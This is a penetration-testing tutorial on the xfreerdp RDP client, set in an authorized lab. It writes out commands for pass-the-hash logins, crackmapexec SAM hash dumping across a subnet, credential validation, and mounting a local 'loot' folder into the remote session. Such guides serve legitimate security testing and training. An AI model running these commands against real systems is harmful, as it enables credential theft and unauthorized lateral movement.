xfreerdp: Using FreeRDP for Remote Desktop Protocol Access in Penetration Tests

Quick correction before I dive in: the tool is xfreerdp, the command-line client bundled with the FreeRDP project (not “xfreedp” — that’s a common typo/misremembering I see a lot in wordlists and cheat sheets). xfreerdp isn’t an “exploit” tool in the sense of a vulnerability weaponizer — it’s a full-featured, open-source RDP client. In penetration testing, its real value shows up after you’ve already obtained valid credentials, a hash, or a Kerberos ticket through other means: it’s how you actually use that access to get an interactive session on a Windows target over port 3389.

I’ll cover what xfreerdp is, how it works, installation, syntax, real authenticated-access examples, and how it fits into a lab-based post-exploitation workflow.

What xfreerdp Actually Does

FreeRDP is an open-source implementation of Microsoft’s Remote Desktop Protocol. xfreerdp is its Linux/X11 command-line client. Functionally, it:

1. Opens a TCP connection to the target on port 3389 (or a custom RDP port).
2. Negotiates the RDP security layer (Standard RDP security, TLS, or Network Level Authentication/NLA).
3. Authenticates using a username/password, an NTLM hash (pass-the-hash), or a Kerberos ticket.
4. Renders the remote Windows desktop in a local X11/Wayland window, and can redirect local resources (drives, clipboard, printers, audio, smart cards) into the session.

It’s the same protocol family used by legitimate remote administration — the reason it shows up in “exploitation” tool lists is that, combined with credentials obtained via other techniques (password spraying, NTLM relay, hash dumps from Mimikatz), it becomes the access vector that turns stolen credentials into an actual interactive session.

Installation

sudo apt update
sudo apt install freerdp2-x11 -y

Or build the latest version from source for newer feature support:

git clone --branch stable-3.0 https://github.com/FreeRDP/FreeRDP.git
cd FreeRDP
mkdir build && cd build
cmake -DCMAKE_BUILD_TYPE=Release ..
make -j$(nproc)
sudo make install

Verify:

xfreerdp --version

Basic Syntax

xfreerdp /v:<target-ip> /u:<username> /p:<password> [options]

Core Usage Examples (Authorized Lab Environment)

1. Standard authenticated connection:

xfreerdp /v:192.168.56.20 /u:labadmin /p:'LabPass123!' /cert:ignore

2. Pass-the-hash authentication (using an NTLM hash recovered from an authorized credential dump, e.g. via Mimikatz, instead of a plaintext password):

xfreerdp /v:192.168.56.20 /u:labadmin /pth:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

3. Domain authentication:

xfreerdp /v:192.168.56.20 /d:LABCORP /u:jdoe /p:'Passw0rd!' /cert:ignore

4. Enable drive redirection (mount a local folder into the remote session, useful for authorized file transfer during a test):

xfreerdp /v:192.168.56.20 /u:labadmin /p:'LabPass123!' /drive:share,/home/kali/loot /cert:ignore

5. Full-screen and clipboard sharing:

xfreerdp /v:192.168.56.20 /u:labadmin /p:'LabPass123!' /f +clipboard /cert:ignore

6. Disable NLA for legacy targets that don’t support it:

xfreerdp /v:192.168.56.20 /u:labadmin /p:'LabPass123!' /sec:rdp /cert:ignore

Real-World Workflow (Authorized Engagement Only)

A typical authenticated post-exploitation chain in an internal penetration test lab:

# Step 1: Enumerate credentials/hashes via authorized means (e.g., from a prior compromised host)
crackmapexec smb 192.168.56.0/24 -u labadmin -p 'LabPass123!' --sam

# Step 2: Confirm RDP is reachable and NLA-negotiable
crackmapexec rdp 192.168.56.20 -u labadmin -p 'LabPass123!'

# Step 3: Establish an interactive session with the recovered credentials
xfreerdp /v:192.168.56.20 /u:labadmin /p:'LabPass123!' /cert:ignore

This demonstrates the standard credential-to-access chain used in authorized internal assessments: enumerate, validate, then interact.

Troubleshooting

• “CredSSP/NLA” negotiation errors on patched targets after the CVE-2018-0886 fix: add /sec:nla and ensure your FreeRDP build is current, since older clients can be rejected by patched servers.
• Certificate warnings: use /cert:ignore in lab environments to bypass self-signed certificate prompts (never do this against production systems without explicit authorization).
• Black screen / codec issues: try /gfx:AVC444 or fall back to /rfx or plain bitmap caching with /bpp:16 if hardware acceleration isn’t available.
• Slow performance over WAN: add /compression and /network:broadband to tune bandwidth usage.

Best Practices

• Always use /cert:ignore only in controlled lab/test environments — in production assessments, validate certificates to avoid MITM blind spots.
• Prefer pass-the-hash (/pth) when working from a hash dump rather than cracking the plaintext first — it saves time and is often all you need.
• Log sessions where possible for reporting purposes using /log-level:TRACE during authorized engagements.
• Combine with CrackMapExec for pre-flight validation of RDP reachability and credential validity before attempting a full interactive session.

Common Mistakes

• Assuming xfreerdp itself is an “exploit” — it isn’t; it’s a protocol client. The actual risk comes from how credentials were obtained beforehand.
• Forgetting /cert:ignore on lab machines with self-signed certs, causing connection failures that look like authentication errors.
• Using outdated FreeRDP builds against modern, patched Windows targets that enforce newer NLA/CredSSP requirements, leading to confusing negotiation failures.

FAQ

Is xfreerdp the same as rdesktop? No, though they’re similar in purpose. rdesktop is an older, largely unmaintained RDP client; FreeRDP/xfreerdp is actively developed and supports modern RDP extensions like NLA, RemoteFX, and GFX pipeline rendering.

Can xfreerdp perform pass-the-hash by itself? Yes, natively, via the /pth: flag — no separate tool is required once you have a valid NTLM hash from an authorized source.

Does xfreerdp work on Windows and macOS too? FreeRDP is cross-platform; the xfreerdp binary specifically is the X11 client for Linux/Unix. Windows and macOS have their own FreeRDP client builds.

Summary

xfreerdp is the practical, standards-compliant way to actually use RDP access once you have valid credentials in an authorized test — whether that’s a plaintext password, an NTLM hash for pass-the-hash, or domain credentials recovered elsewhere in the engagement. It’s not a vulnerability exploiter; it’s the client that turns “I have credentials” into “I have an interactive desktop session,” which is why it shows up constantly in post-exploitation and internal network assessment workflows.

References

• FreeRDP official GitHub repository: https://github.com/FreeRDP/FreeRDP
• FreeRDP Wiki (command-line reference): https://github.com/FreeRDP/FreeRDP/wiki/CommandLineInterface
• Man page: man xfreerdp